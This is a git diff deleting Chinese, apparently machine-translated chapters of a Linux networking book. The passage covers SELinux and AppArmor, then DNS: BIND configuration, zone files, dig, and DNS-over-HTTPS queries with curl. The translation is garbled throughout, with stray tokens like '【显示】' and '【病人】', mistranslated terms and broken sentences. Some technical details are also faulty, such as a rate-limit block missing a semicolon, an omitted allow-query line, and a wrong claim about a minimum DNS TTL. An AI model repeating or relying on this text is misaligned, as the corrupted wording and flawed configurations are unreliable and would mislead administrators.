另外,如果您的用户习惯于关闭 SSH 窗口而不是注销,那么在许多平台上,这些会话不会关闭。 如果达到了最大会话数(几个月之后),下一次连接尝试将失败。 要解决这个问题,您需要访问物理屏幕和键盘来解决这个问题(例如,重新启动 SSHD)或重新加载系统。 -* 您需要设置**最大会话限制**(5.2.22)。 特别是当您的主机面临恶意网络(现在是每个网络)时,仅仅启动数百个 SSH 会话的攻击就会耗尽主机上的资源,影响其他用户可用的内存和 CPU。 - -但是,正如所讨论的,应该审查和评估基准测试的每个部分中的每个建议,以确定它是否适合您的环境。 这是常见的在这个过程中为您的环境创建一个构建文件,“黄金形象”主机,然后您可以使用一个模板克隆生产主机,和审计脚本或硬化脚本帮助保持你的主机一旦运行。 - -# SELinux and AppArmor - -Linux 有两个通常使用**Linux 安全模块**(**LSMs**),它们向系统添加额外的安全策略、控制和对默认行为的更改。 在许多情况下,它们修改 Linux 内核本身。 这两种版本都适用于大多数 Linux 发行版,并且在实现时都有一定程度的风险——您需要在实现之前做一些准备,以评估实现其中一种可能产生的影响。 不建议同时实现这两种方法,因为它们可能会冲突。 - -SELinux**SELinux**可以说更完整,而且管理起来也更复杂。 它是一组添加到基本安装中的内核修改和工具。 在较高的级别上,它分离了安全策略的配置和这些策略的实施。 控制**包括强制访问控制**,**强制完整性控制**,**【显示】基于角色的访问控制(RBAC**),【病人】和**类型执行。****** - - **SELinux 的特性包括以下几点: - -* 将安全策略的定义与这些策略的实施分开。 -* 定义良好的策略接口(通过工具和 api)。 -* 允许应用查询策略定义或特定的访问控制。 一个常见的例子是允许`crond`在正确的上下文中运行预定的作业。 -* 支持修改默认策略或创建全新的自定义策略。 -* 保护系统完整性(域完整性)和数据保密性(多级安全性)的措施。 -* 控制流程初始化、执行和继承。 -* 对文件系统、目录、文件和打开的文件描述符(例如管道或套接字)进行额外的安全控制。 -* 套接字、消息和网络接口的安全控制。 -* 控制“功能”(RBAC)的使用。 -* 在可能的情况下,保单中不允许的任何内容都将被拒绝。 这种“默认拒绝”方法是 SELinux 的根本设计原则之一。 - -**AppArmor**具有许多与 SELinux 相同的特性,但它使用的是文件路径,而不是将标签应用到文件。 它还实现了强制访问控制。 您可以为任何应用分配安全配置文件,包括文件系统访问、网络权限和执行规则。 这个列表也很好地概括了 AppArmor 也执行 RBAC。 - -由于 AppArmor 不使用文件标签,因此就文件系统而言,它是不可知的,因此如果文件系统不支持安全标签,它是唯一的选择。 另一方面,这也意味着这个架构决策限制了它与 SELinux 的所有功能相匹配。 - -AppArmor 的特点包括以下限制: - -* 文件访问控制 -* 库加载控制 -* 过程执行控制 -* 对网络协议的粗粒度控制 -* 指定套接字 -* 对对象的粗略所有者检查(需要 Linux 内核 2.6.31 或更新版本) - -两个 lvm 都有一个学习选项: - -* SELinux 具有允许模式,这意味着启用了策略,但不强制执行。 此模式允许您测试应用,然后检查 SELinux 日志,以查看执行策略时应用可能受到的影响。 可以通过编辑`/etc/selinux/config`文件并将`selinux`行更改为**强制**、**允许**或**禁用**来控制 SELinux 模式。 进行此更改后,需要重新启动系统。 -* AppArmor 的学习模式被称为**抱怨模式**。 进入学习模式,命令为`aa-complain`。 要为所有已配置的应用激活此功能,命令是`aa-complain/etc/apparmor.d/*`。 在激活学习模式,然后测试应用之后,您可以看到使用`aa-logprof`命令可能如何影响 AppArmor(您需要该命令的概要文件和日志的完整路径)。 - -使用命令查询任意一个 LVM 的状态。 - -* 对于 SELinux,命令是`getenforce`,对于更详细的输出,命令是`sestatus`。 -* 对于 AppArmor,类似的命令有`apparmor status`和`aa-status`。 - -总之,AppArmor 和 SELinux 都是复杂的系统。 SELinux 被认为要复杂得多,但也更完整。 如果你选择了这两种方法中的任何一种,你都需要先尝试一下测试系统。 在实际部署之前,尽可能在生产主机的克隆上测试和构建您的生产配置也是明智的。 这两种解决方案都可以显著提高主机和应用的安全状况,但都需要大量的安装工作,并且需要持续的工作来保持主机和应用正常运行,因为它们会随时间变化。 - -对这两种系统的更完整的解释超出了本书的范围——如果你想更全面地探索其中任何一种系统,两种系统都有几本书专门介绍它们。 - -# 总结 - -我们所讨论的所有内容(监管框架、关键控制和安全基准)的最终目标是更容易更好地保护主机和数据中心。 每一种指导结构的关键是为您提供足够的方向,使您能够在无需成为安全专家的情况下到达需要的位置。 每一个都变得越来越具体。 监管框架通常非常广泛,在如何完成工作方面留下了相当大的自由裁量权。 关键控制更加具体,但在部署什么解决方案以及如何实现最终目标方面仍然允许相当大的余地。 CIS 基准测试非常具体,为您提供实现目标所需的准确命令和配置更改。 - -我希望通过我们在本章中所经历的过程,您能够很好地了解如何将这些不同的指导方法组合到您的组织中,以更好地保护您的 Linux 基础结构。 - -在下一章中,我们将讨论在 Linux 上实现 DNS 服务。 如果您想继续讨论更多关于保护主机的细节,请不要担心——您会发现,在我们实现新服务时,这个安全性讨论会反复出现。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 在 IT 实现中使用了哪些美国法律来定义隐私要求? -2. 你能针对独联体关键控制进行审计吗? -3. 为什么要经常使用多种方法来检查一个安全设置—例如,SSH 的加密算法? - -# 进一步阅读 - -有关本章所述主题的更多资料,你可浏览以下连结: - -* PCIDSS:[https://www.pcisecuritystandards.org/](https://www.pcisecuritystandards.org/) -* HIPAA:[https://www.hhs.gov/hipaa/index.html](https://www.hhs.gov/hipaa/index.html) -* NIST:[https://csrc.nist.gov/publications/sp800](https://csrc.nist.gov/publications/sp800) -* FEDRAMP:[https://www.fedramp.gov/](https://www.fedramp.gov/) -* DISA STIGs:[https://public.cyber.mil/stigs/ T1【】](https://public.cyber.mil/stigs/) -* GDPR:[https://gdpr-info.eu/](https://gdpr-info.eu/) -* [https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/](https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/) -* CIS: [https://www.cisecurity.org/controls/](https://www.cisecurity.org/controls/) - - [https://isc.sans.edu/forums/diary/Critical+Control+2+Inventory+of+Authorized+and+Unauthorized+Software/11728/](https://isc.sans.edu/forums/diary/Critical+Control+2+Inventory+of+Authorized+and+Unauthorized+Software/11728/) - -* CIS 基准:[https://www.cisecurity.org/cis-benchmarks/](https://www.cisecurity.org/cis-benchmarks/) -* OSQuery:[https://osquery.readthedocs.io/en/stable/](https://osquery.readthedocs.io/en/stable/) -* SELinux:[http://www.selinuxproject.org/page/Main_Page](http://www.selinuxproject.org/page/Main_Page) -* [https://apparmor.net/](https://apparmor.net/)** \ No newline at end of file diff --git a/docs/linux-net-prof/06.md b/docs/linux-net-prof/06.md deleted file mode 100644 index 5d56440a..00000000 --- a/docs/linux-net-prof/06.md +++ /dev/null @@ -1,677 +0,0 @@ -# 六、Linux 上的 DNS 服务 - -**域名系统**(**DNS**)是当今信息化社会的重要支撑。 一个在技术团体中使用的谚语(俳句格式)如下: - -*不是 DNS* - -*不可能是 DNS* - -*DNS* - -这描述的技术问题比您想象的要多,包括广泛的互联网或云服务中断。 它还很好地描述了问题是如何解决的,答案是:*“根本问题总是 DNS。”* 这很好地说明了这项服务对当今企业网络和公共互联网的几乎各个方面是多么重要。 - -在本章中,我们将讨论几个涉及 DNS 基础知识的主题,然后是构建(最后是故障诊断)DNS 服务。 我们将着眼于以下领域: - -* 域名是什么? -* 两个主要的 DNS 服务器实现 -* 常见的 DNS 实现 -* DNS 故障排除和侦察 - -然后,在介绍了 DNS 基础知识之后,我们将讨论以下两种全新的 DNS 实现,它们正在被迅速采用: - -* **超文本传输协议安全**(**HTTPS**),即**DoH** -* **传输层安全**(**TLS**),即**DoT** - -我们还将讨论**DNS 安全扩展**(**DNSSEC**)实现,它对 DNS 响应进行加密签名,以证明它们已被验证且未被篡改。 - -# 技术要求 - -通过本章的示例,您应该能够继续使用现有的 Linux 主机或**虚拟机**(**VM**)。 没有额外的要求。 - -# 什么是 DNS? - -DNS 本质上是在人们想要什么和网络需要什么之间进行转换。 大多数情况下,人们理解主机和服务的文本名称——例如,`google.com`或`paypal.com`。 然而,这些名称对底层网络没有任何意义。 DNS 所做的是把这些“完全限定的主机名”,说不定有人会因为你的类型到一个应用,如他们的浏览器**开放系统互连(OSI**)层 7(记得 OSI 层【显示】*第三章*,【病人】使用 Linux 和 Linux 工具网络诊断), 并将其转换为**Internet 协议**(**IP**)地址,然后可以用于路由 OSI 层 3 和 4 的应用请求。**** - - **相反的方向,DNS 也可以将一个 IP 地址转化为**完全限定域名**(**FQDN),使用所谓的**指针**(**【显示】PTR)请求(DNS PTR 记录)或“反向查找”。 这对于技术人员可能很重要,但是对于运行浏览器和其他应用的普通人来说,这些请求并不常见。**** - -# 两个主要的 DNS 服务器实现 - -DNS 在互联网上具有很大的和复杂的基础设施(我们将在本节中讨论这一点)。 这是由 13 个根域名服务器(每一个可靠的服务器集群),一组常用的名称服务器(例如,服务器我们使用谷歌或 Cloudflare),以及一系列的注册,费用,注册一个 DNS 域名(实例,您组织的域名。 - -然而,在大多数情况下,大多数管理员都是根据其组织的需要来工作的——使用面向内部人员的内部 DNS 名称服务器,或者使用面向 internet 的外部 DNS 名称服务器。 在本章中,我们将重点讨论这两个用例。 当我们构建这些示例时,您将看到谷歌或 Cloudflare DNS 基础设施,甚至根 DNS 服务器,并没有那么不同。 - -## 组织的“内部”DNS 服务器(及 DNS 概述) - -组织部署的最常见的 DNS 服务是一个**内部 DNS 服务器**,供自己的人员使用。 该服务器可能有一个区域文件,其中填充了用于内部 DNS 解析的 DNS 记录。 该文件既可以通过编辑区域文件来手动填充,也可以通过客户端或通过**动态主机配置协议**(**DHCP**)租约使用自动注册来自动填充。 通常,这三种方法是结合在一起的。 - -基本的请求流很简单。 客户端发起 DNS 请求。 如果该请求是针对组织内部的主机且请求是针对内部 DNS 服务器,DNS 响应会立即提供,因为它在本地 DNS 服务器上。 - -如果它是用于外部主机,那么事情就有点复杂了—例如,让我们查询`www.example.com`。 在我们开始之前,请注意下面的图表显示了最坏的情况*,但是几乎每个步骤都有一个缓存过程,通常允许在这个过程中跳过一个或多个步骤:* - - *![Figure 6.1 – A dizzying overview of how complicated a single DNS request can get ](img/B16336_06_001.jpg) - -图 6.1 -对单个 DNS 请求的复杂程度进行了令人眼花缭乱的概述 - -这个过程看起来相当复杂,但您会看到它进行得非常快,而且实际上有许多*逃生口*,在许多情况下,协议可以跳过这些步骤。 下面我们来详细看看整个*最坏情况*过程: - -1. 如果条目的 DNS 缓存内部 DNS 服务器,和**时间生活**(**TTL)条目没有过期,然后立即响应提供给客户机。 类似地,如果客户机正在请求一个区域文件中托管在服务器上的条目,那么将立即向客户机提供答案。** -2. If the entry is not in the cache of the internal DNS server, or if it is in the cache but the TTL of that entry has expired, then the internal server forwards the request to its upstream providers (often called **forwarders**) to refresh the entry. - - 如果查询在转发器的缓存中,它只会返回答案。 如果该服务器具有域的权威名称服务器,它将简单地查询该主机(跳过该过程,到*步骤 5*)。 - -3. 如果转发器在缓存中没有请求,它将依次请求上游。 但是,在这种情况下,它可能会查询根名称服务器。 其中的目标是找到具有该域的实际条目(在区域文件中)的“权威名称服务器”。 在本例中,对`.com`的根名称服务器进行查询。 -4. 根名称服务器将不返回实际的答案,而是为**顶级域**(**TLD**)返回权威名称服务器——在本例中为`.com`返回。 -5. 在转发器获得此响应后,它使用该名称服务器条目更新其缓存,然后对该服务器进行实际查询。 -6. `.com`的授权服务器返回`example.com`的授权 DNS 服务器。 -7. 然后,转发器服务器对最终的权威名称服务器发出请求。 -8. `example.com`的权威名称服务器将实际查询*“answer”*返回给转发器服务器。 -9. 转发器名称服务器缓存该应答,然后将应答发送回您的内部名称服务器。 -10. Your internal DNS server also caches that answer, then forwards it back to the client. - - 客户端在其本地缓存中缓存请求,然后将请求的信息(DNS 响应)传递给请求它的应用(可能是您的 web 浏览器)。 - -同样,这个过程展示了最坏情况下的过程,即发出一个简单的 DNS 请求并接收一个回答。 在实践中,一旦服务器启动了,即使是很短的一段时间,缓存也会大大缩短这一过程。 一旦处于稳定状态,大多数组织的内部 DNS 服务器将缓存大多数请求,因此进程直接从*步骤 1*跳到*步骤 10*。 此外,你的转发 DNS 服务器会缓存——特别是,它几乎不会查询根名称服务器; 通常,它还会缓存 TLD 服务器(在本例中是`.com`的服务器)。 - -在这个描述中,我们还提出了“根名称服务器”的概念。 这些是根或`.`区域的权威服务器。 有 13 个根服务器用于冗余,每个根服务器实际上都是一个可靠的服务器集群。 - -我们需要在您的内部 DNS 服务器上启用哪些关键特性才能让所有这些工作? 我们需要启用以下功能: - -* **DNS 递归**:这个模型依赖于 DNS 递归,即每个服务器轮流使客户端的 DNS 请求“上线”。 如果请求的 DNS 条目没有在内部服务器上定义,它需要在上面转发这些请求的权限。 -* **Forwarder entries**: If the requested DNS entry is not hosted on the internal server, **internal DNS service** (**iDNS**) requests are forwarded to these configured IP addresses—these should be two or more reliable upstream DNS servers. These upstream servers will in turn cache DNS entries and expire them as their TTL timers expire. In days past, people would use their **internet service provider's** (**ISP's**) DNS servers for forwarders. In more modern times, the larger DNS providers are both more reliable and provide more features than your ISP. Some of the common DNS services used as forwarders are listed next (the most commonly used addresses appear in bold): - - ![](img/Table_011.jpg) - -* **缓存**:在大型组织中,通过增加内存,DNS 服务器的性能可以大大提高——这允许更多的缓存,这意味着更多的请求可以直接从服务器的内存中本地处理。 -* **Dynamic registration**: While servers usually have static IP addresses and static DNS entries, it's common for workstations to have addresses assigned by DHCP, and having those workstations in DNS is of course desirable as well. DNS is often configured to allow dynamic registration of these hosts, either by populating DNS from DHCP addresses as they are assigned or by permitting the hosts to register themselves in DNS (as described in **Request for Comments** (**RFC**) *2136*). - - 微软在其动态更新过程中实现了身份验证机制,这也是它最常见的地方。 然而,它也是 Linux DNS(**Berkeley Internet Name Domain**或**BIND**)中的一个选项。 - -* **主机冗余**:几乎所有核心业务都受益于冗余。 对于 DNS,通常使用第二个 DNS 服务器。 数据库通常按照一个方向进行复制(从主服务器到辅助服务器),并使用区域文件中的序列号来知道何时进行复制,使用一个称为**区域传输**的复制进程。 冗余是解释各种系统故障的关键,但它在允许系统维护而不中断服务方面也同样重要。 - -有了内部 DNS 服务器,在我们的配置中需要做哪些更改才能使 DNS 服务器向公共互联网提供区域服务? - -## 面向 internet 的 DNS 服务器 - -在面向 internet 的 DNS 服务器的情况下,您很可能为一个或多个 DNS 区域实现权威 DNS 服务器。 例如,在我们的参考图(*图 6.1*)中,`example.com`的权威 DNS 服务器就是一个很好的例子。 - -在这个实现中,重点从内部服务器的性能和转发转移到限制访问以获得最大的安全性。 以下是我们想要实现的限制: - -* **限制递归**:在我们概述的 DNS 模型中,这个服务器是“行尾”——它直接应答它所托管区域的 DNS 请求。 这个服务器永远不应该为了服务一个 DNS 请求而向上游查找。 -* **缓存不那么重要**:如果您是一个组织,并且您正在托管自己的公共 DNS 区域,那么您只需要足够的内存来缓存自己的区域。 -* **主机冗余**:同样,如果您正在托管自己的区域文件,添加另一个主机可能比添加缓存更重要。 这给您的 DNS 服务提供了一些硬件冗余,以便您可以在不中断服务的情况下在一台服务器上进行维护。 -* **限制区域传输**:这是您想要实现的关键限制—您想要在单个 DNS 查询到达时回答它们。 因特网上的 DNS 客户端没有很好的理由为一个组织请求所有条目。 区域传输的目的是在冗余服务器之间维护区域,以便在编辑区域时,将更改复制到集群中的其他服务器。 -* **Rate limiting**: DNS servers have a feature called **Response Rate Limiting** (**RRL**) that limits how frequently any one source can query that server. Why would you implement such a feature? - - DNS 经常用于“欺骗”攻击。 由于它是基于**用户数据报协议**(**UDP**),没有“握手”来建立会话; 它是一个简单的请求/响应协议——因此,如果您想攻击一个已知的地址,您可以简单地将您的目标作为请求者进行 DNS 查询,而未经请求的应答将到达该 IP。 - - 这看上去不像一个攻击,但如果你再添加一个“乘数”(换句话说,如果你在做小的 DNS 请求和获得更大的响应实例,**文本**(**TXT)记录和使用多个 DNS 服务器“反射”),然后你发送到目标的带宽可以增加很快。** - - 这使得速率限制非常重要—您希望限制任意一个 IP 地址每秒进行少量相同的查询。 这是一件合理的事情; 由于 DNS 缓存的依赖,任何一个 IP 地址在任何 5 分钟的时间内都不应该发出超过 1 到 2 个相同的请求,因为 5 分钟是任何 DNS 区域的最小 TTL。 - - 启用速率限制的另一个原因是,限制攻击者在 DNS 中进行侦察的能力——对常见 DNS 名称发出数十或数百个请求,并编译有效主机列表,以便随后对它们进行攻击。 - -* **限制动态注册**:当然,大多数面向 internet 的 DNS 服务器都不推荐动态注册。 一个例外是:将**动态 DNS**(**DDNS**)注册为服务的任何组织。 这种类型的公司包括 Dynu、DynDNS、FreeDNS 和 No-IP 等。 鉴于这些公司的专业性,它们各自都有自己的方法来确保 DDNS 更新(通常包括一个定制的代理和某种形式的认证)。 直接使用*RFC 2136*对于面向 internet 的 DNS 服务器来说是不安全的。 - -有了实现内部 DNS 服务器的基础知识,并开始为它们的各种用例提供安全保护,我们可以使用哪些 DNS 应用来构建 DNS 基础设施? 让我们在下一节中了解这一点。 - -# 常见的 DNS 实现 - -**,也叫**名为**(**名守护进程),通常是 DNS 工具在 Linux 中实现的,可以说是最灵活和完整,以及最困难配置和故障诊断。 不管怎样,它是您在大多数组织中最可能看到和实现的服务。 两个主要的实现用例将在下两个部分中概述。**** - - ****DNS 伪装**(**dnsmasq**)是一个竞争的 DNS 服务器实现。 它通常在网络设备上看到,因为它占用的空间小,但也为较小的组织提供了很好的 DNS 服务器。 关键优势 Dnsmasq 包括其内置的**图形用户界面(GUI【显示】**),可用于报告,以及它与 DHCP 的集成(我们将在下一章讨论),允许直接从 DHCP 域名注册数据库。 此外,Dnsmasq 实现了一种友好的方式来实现 DNS 阻塞列表,这些列表在 Pi-hole 应用中得到了很好的打包。 如果您的家庭网络在其外围防火墙或**无线接入点**(**WAP**)上有一个 DNS 服务器,该 DNS 服务器最有可能是 Dnsmasq。**** - - **在本章中,我们将关注常用的 BIND(或命名)DNS 服务器。 让我们继续使用该应用构建内部 DNS 服务器。 - -## 基本安装:BIND 内部使用 - -正如你所期望的,安装`bind`,即 Linux 中最流行的 DNS 服务器,就像下面这样简单: - -```sh -$ sudo apt-get install –y bind9 -``` - -看看这个`/etc/bind/named.conf`文件。 在旧版本中,应用的配置都在这个单一的配置文件中,但在新版本中,它只是由三行`include`组成,如下面的代码片段所示: - -```sh -include "/etc/bind/named.conf.options"; -include "/etc/bind/named.conf.local"; -include "/etc/bind/named.conf.default-zones"; -``` - -编辑`/etc/bind/named.conf.options`,并添加以下选项——确保使用`sudo`,因为您需要管理员权限来更改`bind`的任何配置文件: - -* 允许从本地子网列表查询。 在本例中,我们允许*RFC 1918*中的所有子网,但是您应该将其限制为您环境中的子网。 注意,我们使用无类子网屏蔽来最小化本节中的条目数量。 -* 定义监听端口(在默认情况下是正确的)。 -* 使递归查询。 -* 定义一个 DNS 转发器列表以使递归工作。 在本例中,我们将为 DNS 转发添加谷歌和 Cloudflare。 - -完成之后,我们的配置文件应该如下所示。 请注意,它实际上是一个几乎“简单语言”的配置-没有什么神秘的任何这些部分的含义: - -```sh -options { - directory "/var/cache/bind"; - listen-on port 53 { localhost; }; - allow-query { localhost; 192.168.0.0/16; 10.0.0.0/8; 172.16.0.0/12; }; - forwarders { 8.8.8.8; 8.8.4.4; 1.1.1.1; }; - recursion yes; -} -``` - -接下来,编辑`/etc/bind/named.conf.local`,并添加服务器类型、区域和区域文件名。 同样,允许指定子网上的工作站使用`allow-update`参数向 DNS 服务器注册其 DNS 记录,如下面的代码片段所示: - -```sh -zone "coherentsecurity.com" IN { - type master; - file "coherentsecurity.com.zone"; - allow-update { 192.168.0.0/16; 10.0.0.0/8;172.16.0.0/12 }; -}; -``` - -存储 DNS 记录的`zone`文件本身并不位于前两个`config`文件的相同位置。 要编辑`zone`文件,请编辑`/var/cache/bind/`—因此,在本例中,它是`/var/cache/bind/coherentsecurity.com.zone`。 您将再次需要`sudo`访问权限来编辑该文件。 进行以下更改: - -* 根据需要添加记录。 -* 用您的区域和名称服务器的 FQDN 更新`SOA`行。 -* 如果需要,更新`SOA`记录中最后一行的`TTL`值——默认值是`86400`秒(24 小时)。 这通常是一个很好的折中方案,因为它有利于跨多个服务器缓存记录。 但是,如果您正在进行任何 DNS 维护,您可能希望在前一天(即在维护之前 24 小时或更长时间)编辑文件,并将此时间缩短到 5 或 10 分钟,以便您的更改不会因为缓存而延迟。 -* 更新`ns`记录,它标识您域的 DNS 服务器。 -* 根据需要添加`A`记录—这些记录标识每个主机的 IP 地址。 注意,对于`A`记录,我们只对每个主机使用**通用名称**(**CN**),而没有使用包含域的 FQDN 名称。 - -一旦完成,我们的 DNS 区域文件应该如下所示: - -![Figure 6.2 – An example DNS zone file ](img/B16336_06_002.jpg) - -图 6.2 - DNS 区域文件示例 - -正如我们前面讨论的,在内部 DNS 区域中,通常需要让客户端在 DNS 中注册自己。 这使得管理员可以通过名称访问客户端,而不必确定他们的 IP 地址。 这是对`named.conf`文件(或者,更可能是适用的包含子文件)的简单编辑。 注意,这需要我们将**访问控制列表**(**acl**)添加到 IP 地址的允许范围,以更新其 DNS 表项。 在本例中,我们将子网划分为静态 IP 和 dhcp 分配的客户端,但是一个简单的`192.168.122.0/24`ACL(定义整个子网)可能更常见。 定义整个公司的企业“超级网”也很常见——例如`10.0.0.0/8`或`192.168.0.0/16`——但出于安全原因,通常不建议这样做; 你可能不需要在每个子网中*自动注册设备。* - -在适用区域中,添加以下代码行: - -```sh -acl dhcp-clients { 192.168.122.128/25; }; -acl static-clients { 192.168.122.64/26; }; -zone "coherentsecurity.com" { - allow-update { dhcp-clients; static-clients; }; -}; -``` - -有几个脚本将检查您的工作—一个用于基本配置和包含的文件,另一个用于区域。 如果没有错误,`named-checkconf`将不返回任何文本,而`named-checkzone`将给您一些`OK`状态消息,如下所示。 如果您运行这些程序并且没有看到错误,那么您至少应该可以启动服务了。 注意,在下面的代码示例中,`named-checkzone`命令换行到下一行。 配置文件中的错误是常见的,例如缺少分号。 这些脚本对于发现的问题非常具体,但是如果它们出错了,而您需要更多信息,这些命令的日志文件(`bind`对于`bind`本身)是标准的`/var/log/syslog`文件,所以下面看一下: - -```sh -$ named-checkconf -$ named-checkzone coherentsecurity.com /var/cache/bind/coherentsecurity.com.zone -zone coherentsecurity.com/IN: loaded serial 2021022401 -OK -``` - -最后,启用`bind9`服务并通过运行以下命令启动它(如果您正在“推送”更新,则重新启动它): - -```sh -sudo systemctl enable bind9 -sudo systemctl start bind9 -``` - -我们现在可以使用我们本地主机上的 DNS 服务器解析我们区域内的主机名,如下所示: - -```sh -$ dig @127.0.0.1 +short ns01.coherentsecurity.com A -192.168.122.157 -$ dig @127.0.0.1 +short esx01.coherentsecurity.com A -192.168.122.51 -``` - -因为递归和转发器已经到位,我们也可以解析公共互联网上的主机,像这样: - -```sh -$ dig @127.0.0.1 +short isc.sans.edu -45.60.31.34 -45.60.103.34 -``` - -随着我们内部的 DNS 服务器的完成和的工作,让我们来看看我们的面向互联网的 DNS,它将允许人们从公共互联网上解析我们公司的资源。 - -## BIND:面向 internet 的实现细节 - -在我们开始之前,这个配置已经不像以前那么常见了。 回到 20 世纪 90 年代或更早的时候,如果你想让人们访问你的网络服务器,最常见的方法是站起来你自己的 DNS 服务器或使用你的 ISP 提供的一个。 在这两种情况下,任何 DNS 更改都是手动的文件编辑。 - -在最近的时代,通过 DNS 注册商托管你的 DNS 服务是很常见的。 这种“云”方法将安全实现留给了 DNS 提供商,并简化了维护,因为不同的提供商通常会给你一个 web 界面来维护你的区域文件。 关键安全考虑在这个模型中,您将希望一个提供者,让您可以选择启用**多因素身份验证**(**MFA)(例如,使用谷歌身份验证或类似的),以防止**凭据填料**攻击你的管理访问权限。 这也值得研究你的注册商的帐户恢复程序-你不希望是通过实现 MFA 的所有工作,然后有一个攻击者偷了它与一个简单的帮助台呼叫你的 DNS 注册商!** - -综上所述,许多组织仍然有一个很好的用例来实现他们自己的 DNS 服务器,所以让我们继续修改我们从前面章节中获得的作为互联网 DNS 服务器的配置,如下: - -* **限速 DNS 请求**:在`etc/bind/named.conf.options`中,我们希望添加某种形式的限速——在 DNS 的情况下,这是 RRL 算法。 -* 但是,请记住,这有可能拒绝为合法查询提供服务。 让我们添加一个`10`的`responses-per-second`值作为初始速率限制,但将其设置为`log-only`的状态。 让它以`log-only`模式运行一段时间,并向上或向下调整每秒速率,直到您觉得有一个足够低的值来防止攻击性攻击,但又足够高,从而不会在合法操作期间拒绝访问。 如前所述,在此过程中要监视的日志文件是`/var/log/syslog`。 当你对自己的价值观满意时,删除`log-only`行。 一旦运行,请确保监视触发此设置的任何情况——这可以在日志记录或使用简单关键字匹配的安全信息和事件管理(**SIEM**)解决方案中轻松完成。 代码示例如下: - - ```sh - rate-limit { - responses-per-second 10 - log-only yes; - } - ``` - -* **递归和转发**:因为你只为有限数量的域提供 DNS 服务,所以你应该在`/etc/bind/named.conf.options`中禁用递归。 另外,完全删除 forwarders 行。 代码如下: - - ```sh - recursion no; - ``` - -* **允许来自任何 IP 的查询**:最后,我们不再限制访问我们的 DNS 服务器到内部域; 我们现在允许访问整个互联网,因此我们将更新`allow-query`行以反映这一点,如下所示: - -既然我们已经为内部用户和互联网客户端提供了 DNS 服务器,那么我们可以使用哪些工具来排除该服务的故障呢? - -# DNS 故障排除和排查 - -在 Linux 中对 DNS 服务进行故障排除的主要工具是`dig`,它几乎预装在所有 Linux 发行版中。 如果您的发行版中没有`dig`,您可以使用`apt-get install dnsutils`来安装它。 这个工具的使用非常简单,如图所示: - -```sh -Dig + -``` - -因此,要查找公司的名称服务器记录(我们将检查`sans.org`),我们将对`sans.org`进行`ns`查询,如下所示: - -```sh -$ dig sans.org ns -; <<>> DiG 9.16.1-Ubuntu <<>> sans.org ns -;; global options: +cmd -;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27639 -;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1 -;; OPT PSEUDOSECTION: -; EDNS: version: 0, flags:; udp: 65494 -;; QUESTION SECTION: -;sans.org. IN NS -;; ANSWER SECTION: -sans.org. 86400 IN NS ns-1270.awsdns-30.org. -sans.org. 86400 IN NS ns-1746.awsdns-26.co.uk. -sans.org. 86400 IN NS ns-282.awsdns-35.com. -sans.org. 86400 IN NS ns-749.awsdns-29.net. -;; Query time: 360 msec -;; SERVER: 127.0.0.53#53(127.0.0.53) -;; WHEN: Fri Feb 12 12:02:26 PST 2021 -;; MSG SIZE rcvd: 174 -``` - -这有很多注释的信息,知道设置了哪些 DNS 标志,以及 DNS 问题和答案的确切操作,这些信息都是非常有价值的,这些信息都在这个默认输出中。 然而,通常也需要一个“仅仅是事实”的输出——为了得到这个,我们将添加第二个参数`+short`,如下所示: - -```sh -$ dig sans.org ns +short -ns-749.awsdns-29.net. -ns-282.awsdns-35.com. -ns-1746.awsdns-26.co.uk. -ns-1270.awsdns-30.org. -``` - -`dig`命令允许我们进行所喜欢的 DNS 查询。 你只能查询一个目标和一个 DNS 查询一次,不过,为了获得**NS**信息(有关**名称服务器)和【显示】邮件交换器(**MX)信息,你将需要两个查询。 MX 查询显示在这里:**** - -```sh -$ dig sans.org mx +short -0 sans-org.mail.protection.outlook.com. -``` - -我们还可以使用哪些其他工具来进行故障排除,以及可能涉及哪些其他 DNS 实现? - -# DoH - -**DoH**是一个较新的 DNS 协议; 顾名思义,它通过 HTTPS 传递,事实上,DNS 查询和响应在形式上类似于**应用编程接口**(**API**)。 这个新协议首先在许多浏览器中得到支持,而不是在主流操作系统中本地支持。 然而,它现在在大多数主流操作系统上都可用,只是在默认情况下没有启用而已。 - -为了远程验证 DoH 服务器,`curl`(“*参见 url*”的双关语)工具可以很好地完成这项工作。 在下面的例子中,我们正在查询 Cloudflare 的名称服务器: - -```sh -$ curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.coherentsecurity.com&type=A' -{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"www.coherentsecurity.com","type":1}],"Answer":[{"name":"www.coherentsecurity.com","type":5,"TTL":1693,"data":"robvandenbrink.github.io."},{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.108.153"},{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.109.153"}, -{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.110.153"},{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.111.153"}]} -``` - -请注意,查询只是一个以以下方式组成的`https`请求: - -```sh -https:///dns-query?name=&type= -``` - -请求中的 HTTP 报头为`accept: application/dns-json`。 注意,该查询使用的是标准 HTTPS,所以它监听的是端口`tcp/443`,而不是常规的`udp/53`和`tcp/53`DNS 端口。 - -我们可以通过管道将命令输出通过`jq`来提高其可读性。 这个简单的查询在输出中显示了标记—DNS 问题、答案和权限节。 注意,下面的代码片段`RD`国旗(代表**递归**)由客户端,和`RA`国旗(代表**可用递归)设置的服务器:** - -```sh -curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.coherentsecurity.com&type=A' | jq -{ - "Status": 0, - "TC": false, - "RD": true, - "RA": true, - "AD": false, - "CD": false, - "Question": [ - { - "name": "www.coherentsecurity.com", - "type": 1 - } - ], - "Answer": [ - { - "name": "www.coherentsecurity.com", - "type": 5, - "TTL": 1792, - "data": "robvandenbrink.github.io." - }, - …. - { - "name": "robvandenbrink.github.io", - "type": 1, - "TTL": 3592, - "data": "185.199.111.153" - } - ] -} -``` - -**网络映射器**(**Nmap**)还可以用于验证远程 DoH 